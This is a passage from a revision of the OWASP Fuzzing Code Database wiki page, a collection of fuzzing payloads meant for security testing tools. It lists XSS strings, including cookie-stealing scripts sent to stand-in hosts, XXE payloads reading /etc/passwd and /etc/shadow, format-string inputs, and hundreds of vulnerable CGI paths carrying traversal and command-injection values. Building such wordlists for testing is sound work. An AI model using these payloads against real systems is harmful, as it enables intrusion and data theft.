&quot;&amp;lt;IMG%20LOWSRC=&quot;&quot;javascript:alert('WXSS')&quot;&quot;&amp;gt;&quot;<br /> &amp;lt;IMG%20SRC='%26%23x6a;avasc%26%23000010ript:a%26%23x6c;ert(document.%26%23x63;ookie)'&amp;gt;<br /> &amp;lt;IMG%20SRC=javascript:alert('XSS')&amp;gt;<br /> &amp;lt;IMG%20SRC=&amp;amp;#0000106&amp;amp;#0000097&amp;amp;#0000118&amp;amp;#0000097&amp;amp;#0000115&amp;amp;#0000099&amp;amp;#0000114&amp;amp;#0000105&amp;amp;#0000112&amp;amp;#0000116&amp;amp;#0000058&amp;amp;#0000097&amp;amp;#0000108&amp;amp;#0000101&amp;amp;#0000114&amp;amp;#0000116&amp;amp;#0000040&amp;amp;#0000039&amp;amp;#0000088&amp;amp;#0000083&amp;amp;#0000083&amp;amp;#0000039&amp;amp;#0000041&amp;gt;<br /> &amp;lt;IMG%20SRC=&amp;amp;#x6A&amp;amp;#x61&amp;amp;#x76&amp;amp;#x61&amp;amp;#x73&amp;amp;#x63&amp;amp;#x72&amp;amp;#x69&amp;amp;#x70&amp;amp;#x74&amp;amp;#x3A&amp;amp;#x61&amp;amp;#x6C&amp;amp;#x65&amp;amp;#x72&amp;amp;#x74&amp;amp;#x28&amp;amp;#x27&amp;amp;#x58&amp;amp;#x53&amp;amp;#x53&amp;amp;#x27&amp;amp;#x29&amp;gt;<br /> '%3CIFRAME%20SRC=javascript:alert(%2527XSS%2527)%3E%3C/IFRAME%3E<br /> &quot;&amp;gt;&amp;lt;script&amp;gt;document.location='http://cookieStealer/cgi-bin/cookie.cgi?'+document.cookie&amp;lt;/script&amp;gt;<br /> %22%3E%3Cscript%3Edocument%2Elocation%3D%27http%3A%2F%2Fyour%2Esite%2Ecom%2Fcgi%2Dbin%2Fcookie%2Ecgi%3F%27%20%2Bdocument%2Ecookie%3C%2Fscript%3E<br /> ';alert(String.fromCharCode(88,83,83))//\';alert(String.fromCharCode(88,83,83))//;alert(String.fromCharCode(88,83,83))//\;alert(String.fromCharCode(88,83,83))//&amp;gt;&amp;lt;/SCRIPT&amp;gt;!--&amp;lt;SCRIPT&amp;gt;alert(String.fromCharCode(88,83,83))&amp;lt;/SCRIPT&amp;gt;=&amp;amp;{}<br /> '';!--&amp;lt;XSS&amp;gt;=&amp;amp;{()}&quot;<br /> &lt;/pre&gt; <br /> &lt;br&gt; <br /> <br /> === XML Attacks - (Update: 11 August 2009 - Total Statements: 15) ===<br /> &lt;pre&gt;Statements<br /> count(/child::node())<br /> x' or name()='username' or 'x'='y<br /> &amp;lt;name&amp;gt;','')); phpinfo(); exit;/*&amp;lt;/name&amp;gt;<br /> &amp;lt;![CDATA[&amp;lt;script&amp;gt;var n=0;while(true){n++;}&amp;lt;/script&amp;gt;]]&amp;gt;<br /> &amp;lt;![CDATA[&amp;lt;]]&amp;gt;SCRIPT&amp;lt;![CDATA[&amp;gt;]]&amp;gt;alert('XSS');&amp;lt;![CDATA[&amp;lt;]]&amp;gt;/SCRIPT&amp;lt;![CDATA[&amp;gt;]]&amp;gt;<br /> &quot;&amp;lt;?xml version=&quot;&quot;1.0&quot;&quot; encoding=&quot;&quot;ISO-8859-1&quot;&quot;?&amp;gt;&amp;lt;foo&amp;gt;&amp;lt;![CDATA[&amp;lt;]]&amp;gt;SCRIPT&amp;lt;![CDATA[&amp;gt;]]&amp;gt;alert('XSS');&amp;lt;![CDATA[&amp;lt;]]&amp;gt;/SCRIPT&amp;lt;![CDATA[&amp;gt;]]&amp;gt;&amp;lt;/foo&amp;gt;&quot;<br /> &quot;&amp;lt;?xml version=&quot;&quot;1.0&quot;&quot; encoding=&quot;&quot;ISO-8859-1&quot;&quot;?&amp;gt;&amp;lt;foo&amp;gt;&amp;lt;![CDATA[' or 1=1 or ''=']]&amp;gt;&amp;lt;/foo&amp;gt;&quot;<br /> &quot;&amp;lt;?xml version=&quot;&quot;1.0&quot;&quot; encoding=&quot;&quot;ISO-8859-1&quot;&quot;?&amp;gt;&amp;lt;!DOCTYPE foo [&amp;lt;!ELEMENT foo ANY&amp;gt;&amp;lt;!ENTITY xxe SYSTEM &quot;&quot;file://c:/boot.ini&quot;&quot;&amp;gt;]&amp;gt;&amp;lt;foo&amp;gt;&amp;amp;xxe;&amp;lt;/foo&amp;gt;&quot;<br /> &quot;&amp;lt;?xml version=&quot;&quot;1.0&quot;&quot; encoding=&quot;&quot;ISO-8859-1&quot;&quot;?&amp;gt;&amp;lt;!DOCTYPE foo [&amp;lt;!ELEMENT foo ANY&amp;gt;&amp;lt;!ENTITY xxe SYSTEM &quot;&quot;file:////etc/passwd&quot;&quot;&amp;gt;]&amp;gt;&amp;lt;foo&amp;gt;&amp;amp;xxe;&amp;lt;/foo&amp;gt;&quot;<br /> &quot;&amp;lt;?xml version=&quot;&quot;1.0&quot;&quot; encoding=&quot;&quot;ISO-8859-1&quot;&quot;?&amp;gt;&amp;lt;!DOCTYPE foo [&amp;lt;!ELEMENT foo ANY&amp;gt;&amp;lt;!ENTITY xxe SYSTEM &quot;&quot;file:////etc/shadow&quot;&quot;&amp;gt;]&amp;gt;&amp;lt;foo&amp;gt;&amp;amp;xxe;&amp;lt;/foo&amp;gt;&quot;<br /> &quot;&amp;lt;?xml version=&quot;&quot;1.0&quot;&quot; encoding=&quot;&quot;ISO-8859-1&quot;&quot;?&amp;gt;&amp;lt;!DOCTYPE foo [&amp;lt;!ELEMENT foo ANY&amp;gt;&amp;lt;!ENTITY xxe SYSTEM &quot;&quot;file:////dev/random&quot;&quot;&amp;gt;]&amp;gt;&amp;lt;foo&amp;gt;&amp;amp;xxe;&amp;lt;/foo&amp;gt;&quot;<br /> &quot;&amp;lt;xml ID=I&amp;gt;&amp;lt;X&amp;gt;&amp;lt;C&amp;gt;&amp;lt;![CDATA[&amp;lt;IMG SRC=&quot;&quot;javas]]&amp;gt;&amp;lt;![CDATA[cript:alert('XSS');&quot;&quot;&amp;gt;]]&amp;gt;&quot;<br /> &quot;&amp;lt;xml ID=&quot;&quot;xss&quot;&quot;&amp;gt;&amp;lt;I&amp;gt;&amp;lt;B&amp;gt;&amp;lt;IMG SRC=&quot;&quot;javas&amp;lt;!-- --&amp;gt;cript:alert('XSS')&quot;&quot;&amp;gt;&amp;lt;/B&amp;gt;&amp;lt;/I&amp;gt;&amp;lt;/xml&amp;gt;&amp;lt;SPAN DATASRC=&quot;&quot;#xss&quot;&quot; DATAFLD=&quot;&quot;B&quot;&quot; DATAFORMATAS=&quot;&quot;HTML&quot;&quot;&amp;gt;&amp;lt;/SPAN&amp;gt;&amp;lt;/C&amp;gt;&amp;lt;/X&amp;gt;&amp;lt;/xml&amp;gt;&amp;lt;SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML&amp;gt;&amp;lt;/SPAN&amp;gt;&quot;<br /> &quot;&amp;lt;xml SRC=&quot;&quot;xsstest.xml&quot;&quot; ID=I&amp;gt;&amp;lt;/xml&amp;gt;&amp;lt;SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML&amp;gt;&amp;lt;/SPAN&amp;gt;&quot;<br /> &quot;&amp;lt;HTML xmlns:xss&amp;gt;&amp;lt;?import namespace=&quot;&quot;xss&quot;&quot; implementation=&quot;&quot;http://ha.ckers.org/xss.htc&quot;&quot;&amp;gt;&amp;lt;xss:xss&amp;gt;XSS&amp;lt;/xss:xss&amp;gt;&amp;lt;/HTML&amp;gt;&quot;<br /> &lt;/pre&gt; <br /> === Format String Statements - (Update: xx/xx/xx - Total Statements: 28) ===<br /> &lt;pre&gt;%s%p%x%d<br /> .1024d<br /> %.2049d<br /> %p%p%p%p<br /> %x%x%x%x<br /> %d%d%d%d<br /> %s%s%s%s<br /> %99999999999s<br /> %08x<br /> %%20d<br /> %%20n<br /> %%20x<br /> %%20s<br /> %s%s%s%s%s%s%s%s%s%s<br /> %p%p%p%p%p%p%p%p%p%p<br /> %#0123456x%08x%x%s%p%d%n%o%u%c%h%l%q%j%z%Z%t%i%e%g%f%a%C%S%08x%%<br /> f(x)=%s x 123<br /> f(x)=%x x 255<br /> %x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x<br /> %s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s<br /> XXXXX.%p<br /> XXXXX`perl -e 'print &quot;.%p&quot; x 80'`<br /> `perl -e 'print &quot;.%p&quot; x 80'`%n<br /> %08x.%08x.%08x.%08x.%08x\n<br /> XXX0_%08x.%08x.%08x.%08x.%08x\n<br /> %.16705u%2\$hn<br /> \x10\x01\x48\x08_%08x.%08x.%08x.%08x.%08x|%s|<br /> ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;id &amp;gt; /tmp/file; exit;<br /> &lt;/pre&gt; <br /> ==== Project Contributor ====<br /> <br /> Project Leader: [[:User:Wagner.elias|'''Wagner Elias''']] <br /> <br /> Reviewer: [[:User:eneves|'''Eduardo Neves''']] <br /> <br /> Contributor: [[:User:ulisses.castro|'''Ulisses Castro''']] [[:User:Adam.muntner|'''Adam Muntner''']] <br /> <br /> ==== Feedback and Participation ====<br /> <br /> We hope you find the Fuzzing Code Database useful. Please contribute to the Project by volunteering for one of the tasks, sending your comments, questions, and suggestions to wagner.elias |at| owasp.org <br /> <br /> ==== Project Identification ====<br /> <br /> {{Template:OWASP Project Identification Tab<br /> | project_name = OWASP Fuzzing Code Database<br /> | project_description = <br /> | leader_name = Wagner Elias<br /> | leader_email = <br /> | leader_username = Wagner.elias<br /> | maintainer_name = <br /> | maintainer_email = <br /> | maintainer_username = <br /> | contributor_name1 = <br /> | contributor_email1 = <br /> | contributor_username1 = <br /> | contributor_name2 = <br /> | contributor_email2 = <br /> | contributor_username2 = <br /> | contributor_name3 = <br /> | contributor_email3 = <br /> | contributor_username3 = <br /> | contributor_name4 = <br /> | contributor_email4 = <br /> | contributor_username4 = <br /> | contributor_name5 = <br /> | contributor_email5 = <br /> | contributor_username5 = <br /> | contributor_name6 = <br /> | contributor_email6 = <br /> | contributor_username6 = <br /> | contributor_name7 = <br /> | contributor_email7 = <br /> | contributor_username7 = <br /> | contributor_name8 = <br /> | contributor_email8 = <br /> | contributor_username8 = <br /> | contributor_name9 = <br /> | contributor_email9 = <br /> | contributor_username9 = <br /> | contributor_name10 = <br /> | contributor_email10 = <br /> | contributor_username10 = <br /> | pamphlet_link = <br /> | mailing_list_name = owasp-fuzzing-code-database<br /> | links_url1 = <br /> | links_name1 = <br /> | links_url2 = <br /> | links_name2 = <br /> | links_url3 = <br /> | links_name3 = <br /> | links_url4 = <br /> | links_name4 = <br /> | links_url5 = <br /> | links_name5 = <br /> | links_url6 = <br /> | links_name6 = <br /> | links_url7 = <br /> | links_name7 = <br /> | links_url8 = <br /> | links_name8 = <br /> | links_url9 = <br /> | links_name9 = <br /> | links_url10 = <br /> | links_name10 = <br /> | project_road_map =<br /> | project_health_status = <br /> | current_release_name = <br /> | current_release_date = <br /> | current_release_download_link = <br /> | current_release_rating = <br /> | current_release_leader_name = <br /> | current_release_leader_email = <br /> | current_release_leader_username = <br /> | last_reviewed_release_name = <br /> | last_reviewed_release_date = <br /> | last_reviewed_release_download_link = <br /> | last_reviewed_release_rating = <br /> | last_reviewed_release_leader_name = <br /> | last_reviewed_release_leader_email = <br /> | last_reviewed_release_leader_username = <br /> | old_release_name1 = <br /> | old_release_date1 = <br /> | old_release_download_link1 = <br /> | old_release_name2 = <br /> | old_release_date2 = <br /> | old_release_download_link2 = <br /> | old_release_name3 = <br /> | old_release_date3 = <br /> | old_release_download_link3 = <br /> | old_release_name4 = <br /> | old_release_date4 = <br /> | old_release_download_link4 = <br /> | old_release_name5 = <br /> | old_release_date5 = <br /> | old_release_download_link5 = <br /> }} __NOTOC__ &lt;headertabs /&gt; <br /> <br /> [[Category:OWASP_Project|Fuzzing Code Database]] [[Category:OWASP_Document]] [[Category:OWASP_Alpha_Quality_Document]]</div>

Adam.muntner https://wiki.owasp.org/index.php?title=Category:OWASP_Fuzzing_Code_Database&diff=80094 2010-03-17T23:18:56Z

<p>Adam.muntner: /* PHp-Specific Upload Filter Bypass - Filename Appends (Update: 17 March 2010 - Total Statements: 7) */</p> <hr /> <div>This database is a collection of several statements used in code injection, fuzzing and brute-force aproach. All too often security professionals rely on their own repositories of statements collected from assessments they've conducted. These repositories are prone to being incomplete or outdated. We want to collect all these statements, merging the statements from several projects like [[WebScarab]], [[WebSlayer]] and [[JBroFuzz]] with member contributions to build a comprehensive dataset of effective statements to provide better testing results. Please add your own statements and check out the statements already added. <br /> <br /> ==== News ====<br /> <br /> '''17 March 2010'''<br /> <br /> *Created new Category: Vulnerable Cross-Platform CGI (17 March 2010 - Total Statements: 563)<br /> *Created new Category: Windows Directory Traversal (Update: 17 March 2010 - Total Statements: 16)<br /> *Created new Category: Generic 8 Directory Deep Traversal Fuzz (17 March 2010 - Total Statements: 879)<br /> *Created new Category: Common Windows CGI (Update: 17 March 2010 - Total Statements: 76)<br /> *Created new Category: File Upload Filter Bypass (Update: 17 March 2010 - Total Statements: 4)<br /> *Created new Category: Cross-Platform File Upload Filter Bypass - Filename Appends (Update: 17 March 2010 - Total Statements: 2)<br /> *Created new Category: Cross-Platform File Upload Filter Bypass - Filename Appends (Update: 17 March 2010 - Total Statements: 7)<br /> *Created new Category: Microsoft-Specific Cross-Platform File Upload Filter Bypass - Filename Appends (Update: 17 March 2010 - Total Statements: 14)<br /> *Created new Category: Commonly Writable directories File Upload Filter Bypass - Filename Appends (Update: 17 March 2010 - Total Statements: 9)<br /> <br /> '''16 March 2010'''<br /> <br /> *Created new Category: Common Data File Extensions (Update: 16 March 2010 - Total Statements: 863)<br /> *Created new Category: Uncommon Data File Extensions (Update: 16 March 2010 - Total Statements: 284) <br /> *Created new Category: Cold Fusion Default Files - (Update: 16 March 2010 - Total Statements: 65)<br /> *Created new Category: All HTTP Verbs Defined in RFC's + 1 ARBITRARY Verb - (Update: 16 March 2010 - Total Statements: 31)<br /> <br /> <br /> '''02 February 2010'''<br /> <br /> *Created new Category Lotus/Notes Files<br /> <br /> '''11 August 2009''' <br /> <br /> *Created new Category: XML Attacks<br /> <br /> ''Update Statements'' <br /> <br /> *15 new XML Statements <br /> *93 new SQL Injections Statements <br /> *67 new Traversal Directory Statements <br /> *Delete 33 XSS Statement Duplicate <br /> *30 New XSS Statements<br /> <br /> '''7 August 2009''' <br /> <br /> *Updated the objectives of the project.<br /> <br /> '''21 July 2009''' <br /> <br /> *Set the team responsible for the project.<br /> <br /> ==== Goals ====<br /> <br /> This project intend to create a database that concentrate all tools which are based on wordlists such as Webscarab, JBroFuzz, Web Slayer , Dirbuster. and others. In addition to current tools developed by OWASP members we will create a database following a style similar to Open Vulnerability and Assessment Language (OVAL) where any tool can adopt and use a XML file maintained by OWASP. <br /> <br /> In addition, the following functionalities will be included on this project: <br /> <br /> 1 - The statements of ASDR Project 2 - Browser 3 - Operational System 4 - Databases <br /> <br /> An URL will also be published to create an collaborative environment for the maintenance process where the following features are planned: <br /> <br /> 1 - Deploy a process where a new statement can be suggested and registered if is not valid yet and not maintained in other database. <br /> <br /> 2 - A list where besides the statement, a single id will be maintained to identify each statement with a description and the results of the exploitation. <br /> <br /> 3 - Possibility to support users on the report of their own experiences with the statements. <br /> <br /> ==== Statements ====<br /> <br /> === Vulnerable Cross-Platform CGI (17 March 2010 - Total Statements: 563) ===<br /> &lt;pre&gt;# Vulnerable Cross-Platform CGI (17 March 2010) <br /> # fuzz inside cgi directories<br /> # on windows, this is usually /scripts or /bin or /cgi-bin, on unix, usually /cgi-bin, /nph-cgi<br /> # adam.muntner@quietmove.com<br /> <br /> %2e%2e/abyss.conf<br /> .access<br /> .cobalt<br /> .cobalt/alert/service.cgi?service=&lt;img%20src=javascript:alert('XSS')&gt;<br /> .cobalt/alert/service.cgi?service=&lt;script&gt;alert('XSS')&lt;/script&gt;<br /> .fhp<br /> .htaccess<br /> .htaccess.old<br /> .htaccess.save<br /> .htaccess~<br /> .htpasswd<br /> .nsconfig<br /> .passwd<br /> .www_acl<br /> .wwwacl<br /> /_vti_pvt/doctodep.btr<br /> 14all-1.1.cgi?cfg=../../../../../../../..{KNOWNFILE}<br /> 14all.cgi?cfg=../../../../../../../..{KNOWNFILE}<br /> AT-admin.cgi<br /> AT-generate.cgi<br /> Album?mode=album&amp;album=..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc&amp;dispsize=640&amp;start=0<br /> AnyBoard.cgi<br /> AnyForm<br /> AnyForm2<br /> Backup/add-passwd.cgi<br /> C<br /> Count.cgi<br /> DC<br /> DCFORM<br /> File<br /> FormHandler.cgi?realname=aaa&amp;email=aaa&amp;reply_message_template=%2Fetc%2Fpasswd&amp;reply_message_from=sq%40example.com&amp;redirect=http%3A%2F%2Fwww.example.com&amp;recipient=sq%40example.com<br /> FormMail.cgi?&lt;script&gt;alert(\<br /> FormMail.pl<br /> ImageFolio/admin/admin.cgi<br /> LWGate<br /> LWGate.cgi<br /> Upload.pl<br /> Vs<br /> W<br /> YaBB.pl?board=news&amp;action=display&amp;num=../../../../../../../../../..{KNOWNFILE}%00<br /> YaBB/YaBB.cgi?board=BOARD&amp;action=display&amp;num=&lt;script&gt;alert('XSS')&lt;/script&gt;<br /> a1disp3.cgi?../../../../../../../../../..{KNOWNFILE}<br /> a1stats/a1disp3.cgi?../../../../../../../../../..{KNOWNFILE}<br /> a1stats/a1disp3.cgi?../../../../../../..{KNOWNFILE}<br /> a1stats/a1disp4.cgi?../../../../../../..{KNOWNFILE}<br /> add_ftp.cgi<br /> addbanner.cgi<br /> adduser.cgi<br /> admin.cgi<br /> admin.cgi?list=../../../../../../../../../..{KNOWNFILE}<br /> admin.php<br /> admin.php3<br /> admin.pl<br /> adminhot.cgi<br /> adminwww.cgi<br /> af.cgi?_browser_out=.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2Fetc%2Fpasswd<br /> aglimpse<br /> aglimpse.cgi<br /> alibaba.pl|dir%20..\\..\\..\\..\\..\\..\\..\\,<br /> alienform.cgi?_browser_out=.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2Fetc%2Fpasswd<br /> amadmin.pl<br /> anacondaclip.pl?template=../../../../../../../../../..{KNOWNFILE}<br /> ans.pl?p=../../../../../usr/bin/id|&amp;blah<br /> ans/ans.pl?p=../../../../../usr/bin/id|&amp;blah<br /> anyboard.cgi<br /> archie<br /> architext_query.cgi<br /> architext_query.pl<br /> ash<br /> astrocam.cgi<br /> atk/javascript/class.atkdateattribute.js.php?config_atkroot=@RFIURL<br /> auction/auction.cgi?action=<br /> auctiondeluxe/auction.pl<br /> auktion.cgi?menue=../../../../../../../../../..{KNOWNFILE}<br /> auth_data/auth_user_file.txt<br /> awl/auctionweaver.pl<br /> awstats.pl<br /> awstats/awstats.pl<br /> ax-admin.cgi<br /> ax.cgi<br /> axs.cgi<br /> badmin.cgi<br /> banner.cgi<br /> bannereditor.cgi<br /> bash<br /> bb-hist?HI<br /> bb_smilies.php?user=MToxOjE6MToxOjE6MToxOjE6Li4vLi4vLi4vLi4vLi4vZXRjL3Bhc3N3ZAAK<br /> bbcode_ref.php?user=MToxOjE6MToxOjE6MToxOjE6Li4vLi4vLi4vLi4vLi4vZXRjL3Bhc3N3ZAAK<br /> bbs_forum.cgi<br /> betsie/parserl.pl/&lt;script&gt;alert('XSS')&lt;/script&gt;;<br /> bigconf.cgi?command=view_textfile&amp;file={KNOWNFILE}&amp;filters=<br /> bizdb1-search.cgi<br /> blog/<br /> blog/mt-check.cgi<br /> blog/mt-load.cgi<br /> blog/mt.cfg<br /> bnbform<br /> bnbform.cgi<br /> book.cgi?action=default&amp;current=|cat%20{KNOWNFILE}|&amp;form_tid=996604045&amp;prev=main.html&amp;list_message_index=10<br /> boozt/admin/index.cgi?section=5&amp;input=1<br /> bsguest.cgi?email=x;ls<br /> bslist.cgi?email=x;ls<br /> build.cgi<br /> bulk/bulk.cgi<br /> c_download.cgi<br /> cached_feed.cgi<br /> cachemgr.cgi<br /> cal_make.pl?p0=../../../../../../../../../..{KNOWNFILE}%00<br /> calendar<br /> calendar.php?calbirthdays=1&amp;action=getday&amp;day=2001-8-15&amp;comma=%22;echo%20'';%20echo%20%60id%20%60;die();echo%22<br /> calendar.pl<br /> calendar/calendar_admin.pl?config=|cat%20{KNOWNFILE}|<br /> calendar/index.cgi<br /> calendar_admin.pl?config=|cat%20{KNOWNFILE}|<br /> calender_admin.pl<br /> campas?%0acat%0a{KNOWNFILE}%0a<br /> cart.pl<br /> cart.pl?db='<br /> cartmanager.cgi<br /> cbmc/forums.cgi<br /> ccbill-local.cgi?cmd=MENU<br /> ccbill-local.pl?cmd=MENU<br /> cgforum.cgi<br /> cgi-lib.pl<br /> cgicso?query=&lt;script&gt;alert('XSS')&lt;/script&gt;<br /> cgicso?query=AAA<br /> cgiforum.pl?thesection=../../../../../../../../../..{KNOWNFILE}%00<br /> cgiwrap<br /> cgiwrap/%3Cfont%20color=red%3E<br /> cgiwrap/~@U<br /> cgiwrap/~JUNK(5)<br /> cgiwrap/~root<br /> change-your-password.pl<br /> classified.cgi<br /> classifieds<br /> classifieds.cgi<br /> classifieds/classifieds.cgi<br /> classifieds/index.cgi<br /> clickcount.pl?view=test<br /> clickresponder.pl<br /> code.php<br /> code.php3<br /> com5..........................................................................................................................................................................................................................box<br /> com5.java<br /> com5.pl<br /> commandit.cgi<br /> commerce.cgi?page=../../../../../../../../../..{KNOWNFILE}%00index.html<br /> common.php?f=0&amp;ForumLang=../../../../../../../../../..{KNOWNFILE}<br /> common/listrec.pl<br /> common/listrec.pl?APP=qmh-news&amp;TEMPLATE=;ls%20/etc|<br /> compatible.cgi<br /> count.cgi<br /> counter-ord<br /> counterbanner<br /> counterbanner-ord<br /> counterfiglet-ord<br /> counterfiglet/nc/<br /> cs<br /> csChatRBox.cgi?command=savesetup&amp;setup=;system('cat%20{KNOWNFILE}')<br /> csGuestBook.cgi?command=savesetup&amp;setup=;system('cat%20{KNOWNFILE}')<br /> csLive<br /> csNews.cgi<br /> csNewsPro.cgi?command=savesetup&amp;setup=;system('cat%20{KNOWNFILE}')<br /> csPassword.cgi<br /> csPassword/csPassword.cgi<br /> csh<br /> cstat.pl<br /> cutecast/members/<br /> cvsblame.cgi?file=&lt;script&gt;alert('XSS')&lt;/script&gt;<br /> cvslog.cgi?file=*&amp;rev=&amp;root=&lt;script&gt;alert('XSS')&lt;/script&gt;<br /> cvslog.cgi?file=&lt;script&gt;alert('XSS')&lt;/script&gt;<br /> cvsquery.cgi?branch=&lt;script&gt;alert('XSS')&lt;/script&gt;&amp;file=&lt;script&gt;alert(document.domain)&lt;/script&gt;&amp;date=&lt;script&gt;alert(document.domain)&lt;/script&gt;<br /> cvsquery.cgi?module=&lt;script&gt;alert('XSS')&lt;/script&gt;&amp;branch=&amp;dir=&amp;file=&amp;who=&lt;script&gt;alert(document.domain)&lt;/script&gt;&amp;sortby=Date&amp;hours=2&amp;date=week<br /> cvsqueryform.cgi?cvsroot=/cvsroot&amp;module=&lt;script&gt;alert('XSS')&lt;/script&gt;&amp;branch=HEAD<br /> dansguardian.pl?DENIEDURL=&lt;/a&gt;&lt;script&gt;alert('XSS');&lt;/script&gt;<br /> dasp/fm_shell.asp<br /> data/fetch.php?page=<br /> date<br /> day5datacopier.cgi<br /> day5datanotifier.cgi<br /> db2www/library/document.d2w/show<br /> db4web_c/dbdirname/{KNOWNFILE}<br /> db_manager.cgi<br /> dbman/db.cgi?db=no-db<br /> dcforum.cgi?az=list&amp;forum=../../../../../../../../../..{KNOWNFILE}%00<br /> dcshop/auth_data/auth_user_file.txt<br /> dcshop/orders/orders.txt<br /> dfire.cgi<br /> diagnose.cgi<br /> dig.cgi<br /> directorypro.cgi?want=showcat&amp;show=../../../../../../../../../..{KNOWNFILE}%00<br /> displayTC.pl<br /> dnewsweb<br /> donothing<br /> dose.pl?daily&amp;somefile.txt&amp;|ls|<br /> download.cgi<br /> dumpenv.pl<br /> edit.pl<br /> empower?DB=whateverwhatever<br /> emu/html/emumail.cgi?type=/../../../../../../../../../../../../../../../..{KNOWNFILE}%00<br /> emumail.cgi?type=/../../../../../../../../../../../../../../../..{KNOWNFILE}%00<br /> emumail/emumail.cgi?type=/../../../../../../../../../../../../../../../..{KNOWNFILE}%00<br /> enter.cgi<br /> environ.cgi<br /> environ.pl<br /> environ.pl?param1=&lt;script&gt;alert(document.cookie)&lt;/script&gt;<br /> erba/start/%3Cscript%3Ealert('XSS');%3C/script%3E<br /> eshop.pl/seite=;cat%20eshop.pl|<br /> ex-logger.pl<br /> excite<br /> excite;IF<br /> ezadmin.cgi<br /> ezboard.cgi<br /> ezman.cgi<br /> ezshopper/loadpage.cgi?user_id=1&amp;file=|cat%20{KNOWNFILE}|<br /> ezshopper/search.cgi?user_id=id&amp;database=dbase1.exm&amp;template=../../../../../../..{KNOWNFILE}&amp;distinct=1<br /> ezshopper2/loadpage.cgi<br /> ezshopper3/loadpage.cgi<br /> faqmanager.cgi?toc={KNOWNFILE}%00<br /> faxsurvey?cat%20{KNOWNFILE}<br /> filemail<br /> filemail.pl<br /> finger<br /> finger.pl<br /> flexform<br /> flexform.cgi<br /> fom.cgi?file=&lt;script&gt;alert('XSS')&lt;/script&gt;<br /> fom/fom.cgi?cmd=&lt;script&gt;alert('XSS')&lt;/script&gt;&amp;file=1&amp;keywords=vulnerable<br /> formmail<br /> formmail.cgi<br /> formmail.cgi?recipient=root@localhost%0Acat%20{KNOWNFILE}&amp;email=joeuser@localhost&amp;subject=test<br /> formmail.pl<br /> formmail.pl?recipient=root@localhost%0Acat%20{KNOWNFILE}&amp;email=joeuser@localhost&amp;subject=test<br /> formmail?recipient=root@localhost%0Acat%20{KNOWNFILE}&amp;email=joeuser@localhost&amp;subject=test<br /> fortune<br /> ftp.pl<br /> ftpsh<br /> gH.cgi<br /> gbadmin.cgi?action=change_adminpass<br /> gbadmin.cgi?action=change_automail<br /> gbadmin.cgi?action=colors<br /> gbadmin.cgi?action=setup<br /> gbook/gbook.cgi?_MAILTO=xx;ls<br /> gbpass.pl<br /> generate.cgi?content=../../../../../../../../../../windows/win.ini%00board=board_1<br /> generate.cgi?content=../../../../../../../../../../winnt/win.ini%00board=board_1<br /> generate.cgi?content=../../../../../../../../../..{KNOWNFILE}%00board=board_1<br /> getdoc.cgi<br /> gettransbitmap<br /> glimpse<br /> gm-authors.cgi<br /> gm-cplog.cgi<br /> gm.cgi<br /> guestbook.cgi<br /> guestbook.cgi?user=cpanel&amp;template=|/bin/cat%20{KNOWNFILE}|<br /> guestbook.pl<br /> guestbook/passwd<br /> handler.cgi<br /> hitview.cgi<br /> horde/test.php<br /> horde/test.php?mode=phpinfo<br /> hsx.cgi?show=../../../../../../../../../../..{KNOWNFILE}%00<br /> htgrep?file=index.html&amp;hdr={KNOWNFILE}<br /> html2chtml.cgi<br /> html2wml.cgi<br /> htmlscript?../../../../../../../../../..{KNOWNFILE}<br /> htsearch.cgi?words=%22%3E%3Cscript%3Ealert%'XSS'%29%3B%3C%2Fscript%3E<br /> htsearch?-c/nonexistant<br /> htsearch?config=foofighter&amp;restrict=&amp;exclude=&amp;method=and&amp;format=builtin-long&amp;sort=score&amp;words=<br /> htsearch?exclude=%60{KNOWNFILE}%60<br /> ibill.pm<br /> icat<br /> if/admin/nph-build.cgi<br /> ikonboard/help.cgi?<br /> imageFolio.cgi<br /> imagefolio/admin/admin.cgi<br /> imagemap<br /> include/new-visitor.inc.php<br /> index.js0x70<br /> index.pl<br /> info2www<br /> info2www '(../../../../../../../bin/mail root &lt;{KNOWNFILE}&gt;<br /> infosrch.cgi<br /> ion-p?page=../../../../..{KNOWNFILE}<br /> jailshell<br /> jj<br /> journal.cgi?folder=journal.cgi%00<br /> ksh<br /> lastlines.cgi?process<br /> listrec.pl<br /> loadpage.cgi?user_id=1&amp;file=../../../../../../../../../..{KNOWNFILE}<br /> loadpage.cgi?user_id=1&amp;file=..\\..\\..\\..\\..\\..\\..\\..\\winnt\\win.ini<br /> log-reader.cgi<br /> log/<br /> log/nether-log.pl?checkit<br /> login.cgi<br /> login.pl<br /> login.pl?course_id=\<br /> logit.cgi<br /> logs.pl<br /> logs/<br /> logs/access_log<br /> logs/error_log<br /> lookwho.cgi<br /> ls<br /> lwgate<br /> lwgate.cgi<br /> magiccard.cgi?pa=3Dpreview&amp;amp;next=3Dcustom&amp;amp;page=3D../../../../../../../../../..{KNOWNFILE}<br /> mail<br /> mail/emumail.cgi?type=/../../../../../../../../../../../../../../../..{KNOWNFILE}%00<br /> mail/nph-mr.cgi?do=loginhelp&amp;configLanguage=../../../../../../..{KNOWNFILE}%00<br /> mailit.pl<br /> maillist.cgi<br /> maillist.pl<br /> mailnews.cgi<br /> main.cgi?board=FREE_BOARD&amp;command=down_load&amp;filename=../../../../../../../../../..{KNOWNFILE}<br /> majordomo.pl<br /> man2html<br /> mastergate/search.cgi?search=0&amp;search_on=all<br /> meta.pl<br /> mgrqcgi<br /> mini_logger.cgi<br /> mmstdod.cgi<br /> moin.cgi?test<br /> mojo/mojo.cgi<br /> mrtg.cfg?cfg=../../../../../../../..{KNOWNFILE}<br /> mrtg.cgi?cfg=../../../../../../../..{KNOWNFILE}<br /> mrtg.cgi?cfg=blah<br /> ms_proxy_auth_query/<br /> mt-static/<br /> mt-static/mt-check.cgi<br /> 